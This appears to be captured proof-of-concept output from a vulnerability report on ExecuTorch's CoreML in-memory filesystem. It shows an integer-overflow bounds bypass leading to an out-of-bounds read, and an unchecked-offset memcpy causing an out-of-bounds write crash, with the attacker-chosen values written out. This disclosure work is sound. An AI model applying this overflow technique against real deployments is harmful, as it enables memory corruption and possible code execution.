########################################################################
# ExecuTorch CoreML inmemoryfs — standalone PoC output (captured 2026-07-14T14:41:28Z)
# Host: Darwin arm64; compiler: Apple clang version 17.0.0 (clang-1700.6.3.2)
########################################################################

===== PoC 1: integer-overflow -> bounds-bypass -> OOB read =====
$ clang++ -std=c++17 -g -o p1 poc_range_overflow_oob_read.cpp && ./p1
[*] buffer size              = 16
[*] attacker offset          = 20
[*] attacker size            = 18446744073709551596
[*] length()=offset+size     = 0   (wrapped past SIZE_MAX)
[*] guard 'length() > size()': 0 > 16 -> PASS (bypassed!)
[!] slice() returned ptr 20 bytes past a 16-byte buffer; dereferencing:
[!] OOB read = 0x00 (should NOT reach here under ASan)
[exit: 0]

===== PoC 2: controlled-offset OOB write (crashes) =====
$ clang++ -std=c++17 -g -o p2 poc_oob_write.cpp && ./p2
[*] dst region capacity   = 4096 bytes
[*] attacker offset        = 0x200000 (2097152 bytes past the region)
[*] NO check that offset+size <= capacity; calling memcpy(dst+offset, src, 16)...
[exit: 139 — 139 = SIGSEGV, crash on the out-of-bounds write]